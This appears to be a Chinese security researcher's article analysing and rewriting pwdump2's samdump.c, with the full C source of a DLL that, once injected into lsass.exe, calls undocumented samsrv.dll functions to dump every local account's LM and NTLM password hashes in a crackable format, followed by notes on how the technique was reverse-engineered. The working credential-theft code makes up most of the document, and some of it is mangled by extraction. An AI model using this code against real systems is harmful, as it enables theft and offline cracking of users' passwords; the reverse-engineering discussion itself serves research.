☆ pwdump2/samdump.c浅析与改进
(txt版全文https://scz.617.cn/windows/200401041902.txt)
samdump.c调用LsaQueryInformationPolicy()获取主机SID,未调用LsaFreeMemory() 释放内存,造成lsass.exe进程空间的内存泄漏。此外,需要引入advapi32.lib。
samdump.c中有一个RegCloseKey()操作,可能最初直接读取注册表,后因LM Hash、 NTLM Hash加密存放,才改用samsrv.dll引出的未公开(文档化)函数。
我重写了pwdump2,主要是配合前段时间samsrv.dll的逆向工程,将一些猜测性结论 加以验证,或推翻或肯定。参getlmhashdll.c源代码,将整个流程减化、抽象一下:
SamIConnect SamrEnumerateDomainsInSamServer SamrLookupDomainInSamServer SamrOpenDomain SamrEnumerateUsersInDomain SamrOpenUser SamrQueryInformationUser SamIFree_SAMPR_USER_INFO_BUFFER SamrCloseHandle SamIFree_SAMPR_ENUMERATION_BUFFER SamrCloseHandle LocalFree SamIFree_SAMPR_ENUMERATION_BUFFER SamrCloseHandle
SamrEnumerateDomainsInSamServer、SamrLookupDomainInSamServer是Todd Sabin未 曾用到的samsrv.dll引出函数,用以代替LsaQueryInformationPolicy,其实我演示 的这个方法才是正经的SAM操作方法。我的意思是,要用未文档化的函数,就都用好 了。
使用LsaQueryInformationPolicy的话,就不必使用SamrEnumerateUsersInDomain, 理念换成"尽量使用文档化的函数",用NetUserEnum枚举帐号。
相比samdump.c,没有其它改进,Todd Sabin已经完成了必要的Hacking。
/ * (C) Todd Sabin 1997,1998,2000 All rights reserved. * ----------------------------------------------------------------------- * Rewrite : scz scz@nsfocus.com * : http://www.nsfocus.com * Version : 1.10 * Compile : For x86/EWindows XP SP1 & VC 7 * : cl getlmhashdll.c /nologo /Os /G6 /W3 /D "WIN32" /D "NDEBUG" /LD /link /RELEASE * : * Create : 2003-12-29 21:42 * Modify : 2004-01-04 17:26 * ----------------------------------------------------------------------- * The only thing they can't take from us are our minds. !H /
/********** * * * Head File * * * **********/
/ * #define _WIN32_WINNT 0x0501 /
include
include
include
/ * for _vsnprintf() /
include
include
/********** * * * Macro * * * **********/
pragma comment( linker, "/INCREMENTAL:NO" )
pragma comment( lib, "kernel32.lib" )
define VERSION "1.10"
/ * you'll find a list of NTSTATUS status codes in the DDK header * ntstatus.h (\WINDDK\2600.1106\inc\ddk\wxp) / typedef LONG NTSTATUS;
define NT_SUCCESS(status) ((NTSTATUS)(status)>=0)
define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L)
define SamUserOWFPasswordInformation 0x12
pragma pack( push, 1 )
/ * ntdef.h / typedef struct _UNICODE_STRING { USHORT Length; // +0x000 USHORT MaximumLength; // +0x002 PWSTR Buffer; // +0x004 // +0x008 } UNICODE_STRING, *PUNICODE_STRING;
/ * !!! * from Luke Kenneth Casson Leighton / typedef struct _SAM_DOMAIN_USER { DWORD userrid; // +0x000 UNICODE_STRING username; // +0x004,这是一个结构,而非结构指针 // +0x00c,该结构总共占12字节 } SAM_DOMAIN_USER, *PSAM_DOMAIN_USER;
/ * !!! * (C) Todd Sabin 1997,1998,2000 All rights reserved. / typedef struct _SAM_DOMAIN_USER_ENUMERATION { DWORD DomainUserCount; // +0x000,数组元素个数 PSAM_DOMAIN_USER DomainUser; // +0x004,动态分配空间的结构数组 // +0x008,后面还有没有成员,目前看不出来 / * ... ... / } SAM_DOMAIN_USER_ENUMERATION, PSAM_DOMAIN_USER_ENUMERATION, *PPSAM_DOMAIN_USER_ENUMERATION;
/ * 自己Hacking得到的结构,不可靠 / typedef struct _SAM_USER_OWF_PASSWORD_INFORMATION // Information Class 0x12 { unsigned char NTLMHash[16]; // +0x000,16字节的NTLM Hash unsigned char LMHash[16]; // +0x010,16字节的LM Hash unsigned short int Unknown_020; // +0x020,参samsrv!SampGetCurrentAdminPassword() unsigned char Unknown_022; // +0x022 // +0x023 } SAM_USER_OWF_PASSWORD_INFORMATION, *PSAM_USER_OWF_PASSWORD_INFORMATION;
typedef struct _SAM_SERVER_DOMAIN { DWORD unused; // +0x000,未使用,总为0(猜测) UNICODE_STRING domainname; // +0x004,这是一个结构,而非结构指针 // +0x00c,该结构总共占12字节 } SAM_SERVER_DOMAIN, *PSAM_SERVER_DOMAIN;
typedef struct _SAM_DOMAIN_ENUMERATION { DWORD ServerDomainCount; // +0x000,数组元素个数 PSAM_SERVER_DOMAIN ServerDomain; // +0x004,动态分配空间的结构数组 // +0x008,后面还有没有成员,目前看不出来 / * ... ... / } SAM_SERVER_DOMAIN_ENUMERATION, PSAM_SERVER_DOMAIN_ENUMERATION, *PPSAM_SERVER_DOMAIN_ENUMERATION;
pragma pack( pop )
/ * 这些Undocumented Win32 API由samsrv.dll引出(export) / typedef NTSTATUS ( WINAPI *SAMICONNECT ) ( DWORD Unknown_0, // 意义不明,调用时一般为0 PHANDLE pSamHandle, // [out]参数,是指向HANDLE的指针,不是HANDLE DWORD AccessMask, // Access Mask DWORD Unknown_1 // 意义不明,调用时一般为1 );
typedef NTSTATUS ( WINAPI *SAMROPENDOMAIN ) ( HANDLE SamHandle, // 源自sam connect操作 DWORD AccessMask, // Access Mask PSID DomainSid, // 这个域不是通常所说NT域 PHANDLE pDomainHandle // [out]参数,是指向HANDLE的指针,不是HANDLE );
typedef NTSTATUS ( WINAPI *SAMROPENUSER ) ( HANDLE DomainHandle, // 源自sam open domain操作 DWORD AccessMask, // Access Mask DWORD Rid, // 比如500,0x1F4,Administrator PHANDLE pUserHandle // [out]参数,是指向HANDLE的指针,不是HANDLE );
typedef NTSTATUS ( WINAPI *SAMRQUERYINFORMATIONUSER ) ( HANDLE UserHandle, // 源自sam open user操作 DWORD InfoClass, // 其实是SAM_USER_INFORMATION_CLASS枚举型,为 // 了减少编译难度,换成DWORD型 PVOID UserInfo // 随InfoClass不同,对应不同的结构 );
typedef VOID ( WINAPI *SAMIFREE_SAMPR_USER_INFO_BUFFER ) ( PVOID UserInfo, // 随InfoClass不同,对应不同的结构 DWORD InfoClass // 其实是SAM_USER_INFORMATION_CLASS枚举型,为 // 了减少编译难度,换成DWORD型 );
typedef NTSTATUS ( WINAPI *SAMRCLOSEHANDLE ) ( PHANDLE pHandle // 可以关闭各种sam操作相关的句柄 // 是指向HANDLE的指针,不是HANDLE );
typedef NTSTATUS ( WINAPI *SAMRENUMERATEUSERSINDOMAIN ) ( HANDLE DomainHandle, // 源自sam open domain操作 PHANDLE pEnumerationHandle, // [in/out]参数,Resume Handle // 是指向HANDLE的指针,不是HANDLE DWORD AccessMask, // filter,Access Mask // 如欲枚举所有帐号,指定0 PPSAM_DOMAIN_USER_ENUMERATION pDomainUserEnumeration, // [out]参数 DWORD PrefMaxSize, // 意义未明,似乎对应Pref MaxSize // 可以指定成0x0000FFFF PDWORD pUserCount // [out]参数,枚举出的帐号数目 );
typedef VOID ( WINAPI *SAMIFREE_SAMPR_ENUMERATION_BUFFER ) ( PVOID EnumerationBuf // 其实是PSAM_ENUMERATION_BUFFER // 调用时可能传PSAM_DOMAIN_USER_ENUMERATION // 或者传PSAM_SERVER_DOMAIN_ENUMERATION );
typedef NTSTATUS ( WINAPI *SAMRENUMERATEDOMAINSINSAMSERVER ) ( HANDLE SamHandle, // 源自sam connect操作 PHANDLE pEnumerationHandle, // [in/out]参数,Resume Handle // 是指向HANDLE的指针,不是HANDLE PPSAM_SERVER_DOMAIN_ENUMERATION pServerDomainEnumeration, // [out]参数 DWORD PrefMaxSize, // 意义未明,似乎对应Pref MaxSize // 应该也可以指定成0x0000FFFF PDWORD pDomainCount // [out]参数,枚举出的Domain数目 );
typedef NTSTATUS ( WINAPI SAMRLOOKUPDOMAININSAMSERVER ) ( HANDLE SamHandle, // 源自sam connect操作 PUNICODE_STRING DomainName, // PSID pDomainSid // [out]参数,用LocalFree()释放 );
/ * 这些Native API由ntdll.dll引出(export) / typedef ULONG ( __stdcall *RTLNTSTATUSTODOSERROR ) ( IN NTSTATUS status );
/********** * * * Function Prototype * * * **********/
static void getlmhash ( void ); static BOOL LocateNtdllEntry ( void ); static BOOL LocateSamsrvEntry ( void ); static void PrintHash ( unsigned char hash ); static void PrintUnicodeString ( PUNICODE_STRING us ); static void PrintWin32ErrorCUI ( char message, DWORD dwMessageId ); static void PrintZwErrorCUI ( char message, NTSTATUS status ); static int PrivatePrintf ( HANDLE handle, char buf, size_t count, const char *format, ... );
__declspec(dllexport) DWORD __cdecl getlmhashdll_main ( char *pipename );
/********** * * * Static Global Var * * * **********/
static HANDLE outfile = INVALID_HANDLE_VALUE; static char *outbuf = NULL; static size_t outbuflen = 0; static HMODULE samsrv = NULL;
/ * 由samsrv.dll引出的Undocumented Win32 API函数指针 / static SAMICONNECT SamIConnect = NULL; static SAMROPENDOMAIN SamrOpenDomain = NULL; static SAMROPENUSER SamrOpenUser = NULL; static SAMRQUERYINFORMATIONUSER SamrQueryInformationUser = NULL; static SAMIFREE_SAMPR_USER_INFO_BUFFER SamIFree_SAMPR_USER_INFO_BUFFER = NULL; static SAMRCLOSEHANDLE SamrCloseHandle = NULL; static SAMRENUMERATEUSERSINDOMAIN SamrEnumerateUsersInDomain = NULL; static SAMIFREE_SAMPR_ENUMERATION_BUFFER SamIFree_SAMPR_ENUMERATION_BUFFER = NULL; static SAMRENUMERATEDOMAINSINSAMSERVER SamrEnumerateDomainsInSamServer = NULL; static SAMRLOOKUPDOMAININSAMSERVER SamrLookupDomainInSamServer = NULL;
/ * 由ntdll.dll引出的Native API函数指针 / static RTLNTSTATUSTODOSERROR RtlNtStatusToDosError = NULL;
/************/
static void getlmhash ( void ) { NTSTATUS status; HANDLE SamHandle = NULL, EnumerationHandle = NULL, DomainHandle = NULL, UserHandle = NULL; PSAM_SERVER_DOMAIN_ENUMERATION ServerDomainEnumeration = NULL; DWORD DomainCount = 0, UserCount = 0, Count = 0; PSID DomainSid = NULL; PSAM_DOMAIN_USER_ENUMERATION DomainUserEnumeration = NULL; BOOL nomoredata = FALSE; PSAM_USER_OWF_PASSWORD_INFORMATION UserOWFPasswordInfo = NULL;
status = SamIConnect
(
0, // 意义不明,调用时一般为0
&SamHandle, // [out]参数,是指向HANDLE的指针,不是HANDLE
0x10000030, // Access Mask
// Generic read
// Open domain
// Enum domains
1 // 意义不明,调用时一般为1
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamIConnect() failed",
status
);
goto getlmhash_exit;
}
status = SamrEnumerateDomainsInSamServer
(
SamHandle, // 源自sam connect操作
&EnumerationHandle, // [in/out]参数,Resume Handle
// 是指向HANDLE的指针,不是HANDLE
&ServerDomainEnumeration, // [out]参数
0x0000FFFF, // 意义未明,似乎对应Pref MaxSize
// 应该也可以指定成0x0000FFFF
&DomainCount // [out]参数,枚举出的Domain数目
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrEnumerateDomainsInSamServer() failed",
status
);
goto getlmhash_exit;
}
if ( 2 != DomainCount )
{
goto getlmhash_exit;
}
status = SamrLookupDomainInSamServer
(
SamHandle, // 源自sam connect操作
&ServerDomainEnumeration->ServerDomain[0].domainname, // PUNICODE_STRING
&DomainSid // [out]参数,用LocalFree()释放
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrLookupDomainInSamServer() failed",
status
);
goto getlmhash_exit;
}
status = SamrOpenDomain
(
SamHandle, // 源自sam connect操作
0x10000000, // Access Mask
// SampGetCurrentAdminPassword()中用的是这个值
DomainSid, // 这个域不是通常所说NT域
&DomainHandle // [out]参数,是指向HANDLE的指针,不是HANDLE
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrOpenDomain() failed",
status
);
goto getlmhash_exit;
}
/*
* TMD,前面SamrEnumerateDomainsInSamServer()用过一次,真是个相当隐蔽
* 的错误。为了枚举所有帐号,调用SamrEnumerateUsersInDomain()之前一定
* 要将该[in/out]参数清零。
*/
EnumerationHandle = NULL;
do
{
status = SamrEnumerateUsersInDomain
(
DomainHandle, // Context Handle
&EnumerationHandle, // [in/out]参数,Resume Handle
// 是指向HANDLE的指针,不是HANDLE
0, // filter,Access Mask
// 如欲枚举所有帐号,指定0
&DomainUserEnumeration, // [out]参数
0x0000FFFF, // 意义未明,似乎对应Pref MaxSize
&UserCount // [out]参数,枚举出的帐号数目
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrEnumerateUsersInDomain() failed",
status
);
goto getlmhash_exit;
}
/*
* from ntstatus.h(\WINDDK\2600.1106\inc\ddk\wxp\)
*
* Returned by enumeration APIs to indicate more information is
* available to successive calls.
*
* #define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L)
*/
if ( STATUS_MORE_ENTRIES != status )
{
nomoredata = TRUE;
}
Count = 0;
while ( Count < UserCount )
{
status = SamrOpenUser
(
DomainHandle, // 源自sam open domain操作
0x10000000, // Access Mask
DomainUserEnumeration->DomainUser[Count].userrid, // RID
&UserHandle // [out]参数,是指向HANDLE的指针,不是HANDLE
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrOpenUser() failed",
status
);
goto getlmhash_exit;
}
status = SamrQueryInformationUser
(
UserHandle, // 源自sam open user操作
SamUserOWFPasswordInformation, // InformationClass,0x12,其实是
// SAM_USER_INFORMATION_CLASS枚举型,
// 为了减少编译难度,换成DWORD型
&UserOWFPasswordInfo // 随InformationClass不同,对应不同的结构
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrQueryInformationUser() failed",
status
);
goto getlmhash_exit;
}
PrintUnicodeString( &DomainUserEnumeration->DomainUser[Count].username );
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
":%u:",
DomainUserEnumeration->DomainUser[Count].userrid
);
PrintHash( UserOWFPasswordInfo->LMHash );
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
":"
);
PrintHash( UserOWFPasswordInfo->NTLMHash );
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
":::\n"
);
SamIFree_SAMPR_USER_INFO_BUFFER
(
UserOWFPasswordInfo,
SamUserOWFPasswordInformation // InformationClass,0x12
);
UserOWFPasswordInfo = NULL;
status = SamrCloseHandle
(
&UserHandle
);
UserHandle = NULL;
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrCloseHandle() failed for UserHandle",
status
);
goto getlmhash_exit;
}
Count++;
} /* end of while */
SamIFree_SAMPR_ENUMERATION_BUFFER
(
DomainUserEnumeration
);
DomainUserEnumeration = NULL;
}
while ( FALSE == nomoredata );
getlmhash_exit:
if ( NULL != UserOWFPasswordInfo )
{
SamIFree_SAMPR_USER_INFO_BUFFER
(
UserOWFPasswordInfo,
SamUserOWFPasswordInformation // InformationClass,0x12
);
UserOWFPasswordInfo = NULL;
}
if ( NULL != UserHandle )
{
SamrCloseHandle
(
&UserHandle
);
UserHandle = NULL;
}
if ( NULL != DomainUserEnumeration )
{
SamIFree_SAMPR_ENUMERATION_BUFFER
(
DomainUserEnumeration
);
DomainUserEnumeration = NULL;
}
if ( NULL != DomainHandle )
{
SamrCloseHandle
(
&DomainHandle
);
DomainHandle = NULL;
}
if ( NULL != DomainSid )
{
LocalFree( DomainSid );
DomainSid = NULL;
}
if ( NULL != ServerDomainEnumeration )
{
SamIFree_SAMPR_ENUMERATION_BUFFER
(
ServerDomainEnumeration
);
ServerDomainEnumeration = NULL;
}
if ( NULL != SamHandle )
{
SamrCloseHandle
(
&SamHandle
);
SamHandle = NULL;
}
return;
} / end of getlmhash /
/ * ntdll.dll正常引出了如下Native API,我们不想让ntdll.lib介入,这会增加编 * 译难度,于是换用GetProcAddress()获取这些函数地址。 / static BOOL LocateNtdllEntry ( void ) { BOOL ret = FALSE; char ntdllname[] = "ntdll"; HMODULE ntdll = NULL;
/*
* returns a handle to a mapped module without incrementing its
* reference count
*/
ntdll = GetModuleHandle( ntdllname );
if ( NULL == ntdll )
{
PrintWin32ErrorCUI( "GetModuleHandle() failed", GetLastError() );
return( ret );
}
RtlNtStatusToDosError = ( RTLNTSTATUSTODOSERROR )GetProcAddress
(
ntdll,
"RtlNtStatusToDosError"
);
if ( !RtlNtStatusToDosError )
{
goto LocateNtdllEntry_exit;
}
ret = TRUE;
LocateNtdllEntry_exit:
if ( FALSE == ret )
{
PrintWin32ErrorCUI( "GetProcAddress() failed", GetLastError() );
}
if ( NULL != ntdll )
{
ntdll = NULL;
}
return( ret );
} / end of LocateNtdllEntry /
/ * samsrv.dll正常引出了如下Undocumented Win32 API,由于没有samsrv.lib存在, * 被迫利用GetProcAddress()获取这些函数地址。 / static BOOL LocateSamsrvEntry ( void ) { BOOL ret = FALSE; char samsrvname[] = "samsrv";
samsrv = LoadLibrary( samsrvname );
if ( NULL == samsrv )
{
PrintWin32ErrorCUI( "LoadLibrary() failed", GetLastError() );
return( ret );
}
SamIConnect = ( SAMICONNECT )GetProcAddress
(
samsrv,
"SamIConnect"
);
if ( !SamIConnect )
{
goto LocateSamsrvEntry_exit;
}
SamrOpenDomain = ( SAMROPENDOMAIN )GetProcAddress
(
samsrv,
"SamrOpenDomain"
);
if ( !SamrOpenDomain )
{
goto LocateSamsrvEntry_exit;
}
SamrOpenUser = ( SAMROPENUSER )GetProcAddress
(
samsrv,
"SamrOpenUser"
);
if ( !SamrOpenUser )
{
goto LocateSamsrvEntry_exit;
}
SamrQueryInformationUser = ( SAMRQUERYINFORMATIONUSER )GetProcAddress
(
samsrv,
"SamrQueryInformationUser"
);
if ( !SamrQueryInformationUser )
{
goto LocateSamsrvEntry_exit;
}
SamIFree_SAMPR_USER_INFO_BUFFER = ( SAMIFREE_SAMPR_USER_INFO_BUFFER )GetProcAddress
(
samsrv,
"SamIFree_SAMPR_USER_INFO_BUFFER"
);
if ( !SamIFree_SAMPR_USER_INFO_BUFFER )
{
goto LocateSamsrvEntry_exit;
}
SamrCloseHandle = ( SAMRCLOSEHANDLE )GetProcAddress
(
samsrv,
"SamrCloseHandle"
);
if ( !SamrCloseHandle )
{
goto LocateSamsrvEntry_exit;
}
SamrEnumerateUsersInDomain = ( SAMRENUMERATEUSERSINDOMAIN )GetProcAddress
(
samsrv,
"SamrEnumerateUsersInDomain"
);
if ( !SamrEnumerateUsersInDomain )
{
goto LocateSamsrvEntry_exit;
}
SamIFree_SAMPR_ENUMERATION_BUFFER = ( SAMIFREE_SAMPR_ENUMERATION_BUFFER )GetProcAddress
(
samsrv,
"SamIFree_SAMPR_ENUMERATION_BUFFER"
);
if ( !SamIFree_SAMPR_ENUMERATION_BUFFER )
{
goto LocateSamsrvEntry_exit;
}
SamrEnumerateDomainsInSamServer = ( SAMRENUMERATEDOMAINSINSAMSERVER )GetProcAddress
(
samsrv,
"SamrEnumerateDomainsInSamServer"
);
if ( !SamrEnumerateDomainsInSamServer )
{
goto LocateSamsrvEntry_exit;
}
SamrLookupDomainInSamServer = ( SAMRLOOKUPDOMAININSAMSERVER )GetProcAddress
(
samsrv,
"SamrLookupDomainInSamServer"
);
if ( !SamrLookupDomainInSamServer )
{
goto LocateSamsrvEntry_exit;
}
ret = TRUE;
LocateSamsrvEntry_exit:
if ( FALSE == ret )
{
PrintWin32ErrorCUI( "GetProcAddress() failed", GetLastError() );
}
/*
* 后面还要用这些函数指针,这里不得释放samsrv.dll
*/
return( ret );
} / end of LocateSamsrvEntry /
static void PrintHash ( unsigned char hash ) { unsigned int i; char buf[33]; char p = buf;
for ( i = 0; i < 16; i++ )
{
sprintf( p, "%02X", hash[i] );
p += 2;
}
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
"%s",
buf
);
return;
} / end of PrintHash /
static void PrintUnicodeString ( PUNICODE_STRING us ) { int i = 0; unsigned int len = 0; unsigned char ansibuf = NULL, ansistr = NULL;
if ( NULL == us )
{
goto PrintUnicodeString_exit;
}
/*
* 将Unicode串转换成DBCS串再显示,否则中文串显示有问题
*/
len = us->Length + 1;
ansibuf = ( unsigned char * )HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, len );
if ( NULL == ansibuf )
{
ansistr = "No memory for ansibuf";
}
else
{
i = WideCharToMultiByte
(
CP_ACP,
0,
us->Buffer,
( int )( us->Length / 2 ),
ansibuf,
len,
NULL,
NULL
);
if ( 0 == i )
{
ansistr = "WideCharToMultiByte() failed";
}
else
{
ansistr = ansibuf;
}
}
PrivatePrintf( outfile, outbuf, outbuflen, "%s", ansibuf );
PrintUnicodeString_exit:
if ( NULL != ansibuf )
{
HeapFree( GetProcessHeap(), 0, ansibuf );
ansibuf = NULL;
}
return;
} / end of PrintUnicodeString /
static void PrintWin32ErrorCUI ( char message, DWORD dwMessageId ) { char errMsg;
FormatMessage
(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
dwMessageId,
MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
( LPTSTR )&errMsg,
0,
NULL
);
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
"%s: %s",
message,
errMsg
);
LocalFree
(
errMsg
);
return;
} / end of PrintWin32ErrorCUI /
static void PrintZwErrorCUI ( char message, NTSTATUS status ) { char errMsg;
FormatMessage
(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
RtlNtStatusToDosError( status ),
MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
( LPTSTR )&errMsg,
0,
NULL
);
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
"%s: %s",
message,
errMsg
);
LocalFree
(
errMsg
);
return;
} / end of PrintZwErrorCUI /
static int PrivatePrintf ( HANDLE handle, char buf, size_t count, const char format, ... ) { va_list arg; int num; DWORD NumberOfBytes;
if ( INVALID_HANDLE_VALUE == handle || NULL == handle || NULL == buf || 0 == count || NULL == format )
{
return( -1 );
}
/*
* 将来运行在lsass.exe进程上下文中,必须动用SEH机制加以保护,否则一旦
* 出现内存访问违例,将导致整个操作系统崩溃!
*/
__try
{
va_start( arg, format );
num = _vsnprintf
(
buf,
count - 1,
format,
arg
);
if ( num >= 0 )
{
WriteFile
(
handle,
buf,
num,
&NumberOfBytes,
NULL
);
}
va_end( arg );
}
__except
(
EXCEPTION_EXECUTE_HANDLER
)
{
num = -1;
}
return( num );
} / end of PrivatePrintf /
DWORD __cdecl getlmhashdll_main ( char *pipename ) { DWORD ret = EXIT_FAILURE;
outbuflen = 1024;
outbuf = ( char * )HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, outbuflen );
if ( NULL == outbuf )
{
goto getlmhashdll_main_exit;
}
if ( FALSE == WaitNamedPipe( pipename, NMPWAIT_USE_DEFAULT_WAIT ) )
{
goto getlmhashdll_main_exit;
}
outfile = CreateFile
(
pipename,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL
);
if ( INVALID_HANDLE_VALUE == outfile )
{
goto getlmhashdll_main_exit;
}
if ( FALSE == LocateNtdllEntry() )
{
goto getlmhashdll_main_exit;
}
if ( FALSE == LocateSamsrvEntry() )
{
goto getlmhashdll_main_exit;
}
/*
* 利用samsrv.dll引出的Undocumented Win32 API获取本机帐号的LM Hash、
* NTLM Hash
*/
getlmhash();
ret = EXIT_SUCCESS;
getlmhashdll_main_exit:
if ( NULL != samsrv )
{
FreeLibrary( samsrv );
samsrv = NULL;
}
if ( INVALID_HANDLE_VALUE != outfile )
{
CloseHandle( outfile );
outfile = INVALID_HANDLE_VALUE;
}
if ( NULL != outbuf )
{
HeapFree( GetProcessHeap(), 0, outbuf );
outbuf = NULL;
}
outbuflen = 0;
return( ret );
} / end of getlmhashdll_main /
BOOL WINAPI DllMain ( HINSTANCE hinstDll, DWORD fdwReason, PVOID fImpLoad ) { DisableThreadLibraryCalls( hinstDll ); return( TRUE ); } / end of DllMain /
/************/
1) pwdump2在做什么。
假设当前用户是Administrator或等效用户,pwdump2利用远程线程注入向lsass.exe
进程空间注入一段代码,加载了samdump.c生成的动态链接库,然后GetProcAddress
获取samdump.dll的一个引出函数并调用之。该引出函数获取当前系统中可枚举帐号
的LM Hash、NTLM Hash,生成LC4格式(.lc)文件,可用LC4或等效工具进行暴力破解。
关于LM Hash脆弱性,参看<
https://scz.617.cn/network/200210141957.txt
第一次用加载DLL的办法完成远程线程实质性工作,以前是按照C语言式shellcode的 套路。加载DLL的办法要省不少细节上的纠缠,也趁此多做一点技术积累。
2) 为什么pwdump2这样做就可以获取LM Hash、NTLM Hash。
这个问题,严格意义上的讲解太复杂,又得扯一堆概念进来,参看[2]。简单地讲, 在lsass.exe进程上下文中调用samsrv.dll的未文档化引出函数,这些函数会返回期 望中的LM Hash、NTLM Hash。
开始我低估了SAM安全限制。以为以SYSTEM权限访问SAM即可获取LM Hash,居然失败。 最后确认非要从lsass.exe进程上下文中访问SAM,否则得到如下错误信息:
SamIConnect() failed: 安全帐户管理器(SAM)或本地安全颁发机构(LSA)服务器处于运行安全操作的错误状态。
3) 既然这种技术是未文档化的,那帮人又是如何得到这种技术的,他们Hacking的过 程、思想的发展可能是怎样的。
最开始我在写扫描器远程漏洞扫描插件,用NetUserGetInfo()查询远程用户信息,在 Ethereal解码过程中意识到与pwdump2的联系。接下来有了逆向samsrv.dll的想法。 逆完SampUpdateEncryption、SampGetCurrentAdminPassword,就得出了前面那个抽 象流程。再与samdump.c一对照,思路很清晰。虽然我不清楚bindview的人是怎么接 近此处的,但按我这个搞法,也可接近此处,就不无谓纠缠了。
4) 在此基础上我们还能继续Hacking出其它有用的东西吗。
目前我没有更多时间Hacking这个方向,但至少成功还原了一批函数原型、数据结构。 有些东西可能目前阶段没有直接用途,但日后肯定会用到的。
枚举值SamUserOWFPasswordInformation(0x12)只能用于本机操作,如在网络操作中 指定0x12级查询,会报告无效级别,显然这出于安全考虑。我在一个底层SMB测试程 序中手工构造SamrQueryInformationUser(36)报文,试图指定level 0x12,查询失败。
5) 下次让你独立确定一个课题并研究之,你会在上述研究中受到什么样的启发,比 如选题方向、研究方法、工具使用等等。
由此想到一种研究Windows未文档化函数的方法。很多SMB网络函数第一形参指定目标 系统,当该形参为NULL时目标系统即本机。如果用Ethereal抓取了网络通信报文,根 据DCE RPC的marshalling/unmarshalling知识,有可能还原最初的数据结构,而这种 数据结构同时适用于本机、远程操作。再结合适当的逆向工程,进展会更大。当然, 有个重要前提,就是Ethereal已经进行了正确的Network Hacking,否则会导致错误 结论。你还必须能够在Ethereal所解析出的远程过程、Windows RPC Server以及MSDN 中的Win32 API这三者之间找到必然联系。
有个较深的感受,有些东西之间看似没有联系,实际却殊途同归。很早以前就想看看 pwdump2的实现机理,一直觉得它是横空出世的,没有来历,很茫然。搞不清为什么 要GetProcAddress获取那些引出函数地址。没想到在网络通信解码过程中豁然开朗。 看样子以后正门搞不定了,就扔到一边,说不定哪天发现到处是侧门。
☆ 参考资源
[ 2] Windows NT Security, Part 1 http://www.winntmag.com/Articles/Print.cfm?ArticleID=3143
Windows NT Security, Part 2
http://www.winntmag.com/Articles/Print.cfm?ArticleID=3492